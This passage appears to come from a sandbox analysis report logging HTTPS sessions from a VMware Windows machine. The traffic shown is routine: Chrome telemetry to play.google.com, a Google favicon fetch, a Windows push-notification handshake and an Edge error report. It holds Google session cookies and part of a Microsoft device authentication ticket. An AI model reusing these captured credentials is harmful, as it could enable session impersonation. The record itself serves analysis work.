2024-07-26 08:38:38 UTC	1309	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 522 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=516=GWz4YOCOhNYSpnxUcdzz8LOdui-P7aXykgPJBwVUIowf1kQXmYByecZvMlpIaef12thJ6lUxdNG_X2FfRLWPsiBl8wKN0yZH7MmvZGzh-AMOhzy6WJHU780KS6r9lmNWdPVrWU6b_4jjsYN5B0dfyykpHJQW1A8O8esheEGjFz8
2024-07-26 08:38:38 UTC	522	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 32 32 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 31 39 38 33 30 38 36 37 33 38 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"22",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[1,0,0,0,0]]],1828,[["1721983086738",null,null,null
2024-07-26 08:38:38 UTC	929	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=516=ktTC0cHX2KkJD_Yx6Lir0ZiA-RXTW3TBfjdtr3BA9J0djPpWwp7HDJi58DUUMslPOcdyqgJt539dXCOZftNIcyffQCc5bRBL5UeRB0veDqR12KTTRXoDhch1UwQIE2X4-qVoHZAhlqX-Q2MgI4ClYRQuOBZ7zk-xxlSTc4FXFRaWMS0; expires=Sat, 25-Jan-2025 08:38:38 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Fri, 26 Jul 2024 08:38:38 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Fri, 26 Jul 2024 08:38:38 GMT Connection: close Transfer-Encoding: chunked
2024-07-26 08:38:38 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-07-26 08:38:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	58938	172.217.18.14	443	5944	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:38:40 UTC	1313	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 522 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=516=ktTC0cHX2KkJD_Yx6Lir0ZiA-RXTW3TBfjdtr3BA9J0djPpWwp7HDJi58DUUMslPOcdyqgJt539dXCOZftNIcyffQCc5bRBL5UeRB0veDqR12KTTRXoDhch1UwQIE2X4-qVoHZAhlqX-Q2MgI4ClYRQuOBZ7zk-xxlSTc4FXFRaWMS0
2024-07-26 08:38:40 UTC	522	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 32 32 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 31 39 38 33 30 38 38 33 37 30 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"22",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[1,0,0,0,0]]],1828,[["1721983088370",null,null,null
2024-07-26 08:38:41 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Fri, 26 Jul 2024 08:38:41 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-07-26 08:38:41 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-07-26 08:38:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	59065	216.58.206.68	443	5944	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:39:31 UTC	1206	OUT	GET /favicon.ico HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=516=ktTC0cHX2KkJD_Yx6Lir0ZiA-RXTW3TBfjdtr3BA9J0djPpWwp7HDJi58DUUMslPOcdyqgJt539dXCOZftNIcyffQCc5bRBL5UeRB0veDqR12KTTRXoDhch1UwQIE2X4-qVoHZAhlqX-Q2MgI4ClYRQuOBZ7zk-xxlSTc4FXFRaWMS0
2024-07-26 08:39:31 UTC	705	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 5430 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri, 26 Jul 2024 07:56:34 GMT Expires: Sat, 03 Aug 2024 07:56:34 GMT Cache-Control: public, max-age=691200 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT Content-Type: image/x-icon Vary: Accept-Encoding Age: 2577 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-07-26 08:39:31 UTC	685	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 30 fd fd fd 96 fd fd fd d8 fd fd fd f9 fd fd fd f9 fd fd fd d7 fd fd fd 94 fe fe fe 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd 99 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 95 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd c1 ff ff ff ff fa fd f9 ff b4 d9 a7 ff 76 ba 5d ff 58 ab 3a ff 58 aa 3a ff 72 b8 59 ff ac d5 9d ff f8 fb f6 ff ff Data Ascii: h& ( 0.v]X:X:rY
2024-07-26 08:39:31 UTC	1390	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d8 fd fd fd 99 ff ff ff ff 92 cf fb ff 37 52 ec ff 38 46 ea ff d0 d4 fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 96 fe fe fe 32 ff ff ff ff f9 f9 fe ff 56 62 ed ff 35 43 ea ff 3b 49 eb ff 95 9c f4 ff cf d2 fa ff d1 d4 fa ff 96 9d f4 ff 52 5e ed ff e1 e3 fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 30 00 00 00 00 fd fd fd 9d ff ff ff ff e8 ea fd ff 58 63 ee ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 6c 76 f0 ff ff ff ff ff ff ff ff ff fd fd fd 98 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd c3 ff ff ff ff f9 f9 fe ff a5 ac f6 ff 5d 69 ee ff 3c 4a Data Ascii: 7R8F2Vb5C;IR^0Xc5C5C5C5C5C5Clv]i<J
2024-07-26 08:39:31 UTC	1390	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff fd fd fd d0 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fd fd fd 8b ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b1 d8 a3 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 60 a5 35 ff ca 8e 3e ff f9 c1 9f ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 87 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 25 fd fd fd fb ff ff ff ff ff ff ff ff ff ff ff ff c2 e0 b7 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 6e b6 54 ff 9f ce 8d ff b7 da aa ff b8 db ab ff a5 d2 95 ff 7b bc 64 ff 54 a8 35 ff 53 a8 34 ff 77 a0 37 ff e3 89 41 ff f4 85 42 ff f4 85 42 ff Data Ascii: S4S4S4S4S4S4S4S4S4S4S4S4S4S4`5>%S4S4S4S4S4S4nT{dT5S4w7ABB
2024-07-26 08:39:31 UTC	1390	IN	Data Raw: ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff fb d5 bf ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd ea fd fd fd cb ff ff ff ff ff ff ff ff ff ff ff ff 46 cd fc ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 21 ae f9 ff fb fb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd c8 fd fd fd 9c ff ff ff ff ff ff ff ff ff ff ff ff 86 df fd ff 05 bc fb ff 05 bc fb ff 15 93 f5 ff 34 49 eb ff b3 b8 f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: BBBBBBF!4I
2024-07-26 08:39:31 UTC	575	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d2 fe fe fe 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd 8d fd fd fd fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd fb fd fd fd 8b fe fe fe 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 27 fd fd fd 9f fd fd fd f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: $'

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	59072	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:39:34 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 33 4c 75 39 6b 52 47 78 59 45 65 6f 41 79 41 66 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 38 61 32 38 34 34 30 38 39 39 32 39 63 62 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 3Lu9kRGxYEeoAyAf.1Context: c8a2844089929cb9
2024-07-26 08:39:34 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-26 08:39:34 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 33 4c 75 39 6b 52 47 78 59 45 65 6f 41 79 41 66 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 38 61 32 38 34 34 30 38 39 39 32 39 63 62 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 62 48 74 6f 70 66 54 42 56 71 76 36 75 56 48 4a 72 62 73 42 53 2f 6c 49 72 55 34 39 64 4d 2b 39 6b 59 49 65 43 4b 2f 36 43 2f 35 6b 41 50 6f 4f 32 77 62 75 75 30 37 68 50 66 64 36 37 55 42 5a 4f 4d 45 67 44 58 78 42 35 71 54 61 48 79 41 58 6f 53 6d 31 63 44 57 58 76 75 6a 64 52 6d 77 6a 52 46 5a 5a 54 68 4a 6f 54 43 6d 5a 6c Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: 3Lu9kRGxYEeoAyAf.2Context: c8a2844089929cb9<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAbHtopfTBVqv6uVHJrbsBS/lIrU49dM+9kYIeCK/6C/5kAPoO2wbuu07hPfd67UBZOMEgDXxB5qTaHyAXoSm1cDWXvujdRmwjRFZZThJoTCmZl
2024-07-26 08:39:34 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 33 4c 75 39 6b 52 47 78 59 45 65 6f 41 79 41 66 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 38 61 32 38 34 34 30 38 39 39 32 39 63 62 39 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 3Lu9kRGxYEeoAyAf.3Context: c8a2844089929cb9<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-26 08:39:34 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-26 08:39:34 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 67 70 6d 53 4a 35 5a 7a 48 45 79 6c 79 63 59 45 72 42 4b 51 61 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: gpmSJ5ZzHEylycYErBKQaw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49692	23.200.0.9	443	7008	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:40:16 UTC	442	OUT	OPTIONS /api/report?cat=bingbusiness HTTP/1.1 Host: bzib.nelreports.net Connection: keep-alive Origin: https://business.bing.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-26 08:40:17 UTC	378	IN	HTTP/1.1 503 Service Unavailable Content-Length: 326 Content-Type: text/html; charset=us-ascii Date: Fri, 26 Jul 2024 08:40:17 GMT Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.9ac2d17.1721983216.12698009 Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: * Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *
2024-07-26 08:40:17 UTC	326	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 32 3e 0d 0a 3c Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Service Unavailable</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Service Unavailable</h2><

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49806	142.250.184.206	443	5944	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:40:57 UTC	1273	OUT	POST /log?hasfast=true&authuser=0&format=json HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 620 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=516=ktTC0cHX2KkJD_Yx6Lir0ZiA-RXTW3TBfjdtr3BA9J0djPpWwp7HDJi58DUUMslPOcdyqgJt539dXCOZftNIcyffQCc5bRBL5UeRB0veDqR12KTTRXoDhch1UwQIE2X4-qVoHZAhlqX-Q2MgI4ClYRQuOBZ7zk-xxlSTc4FXFRaWMS0
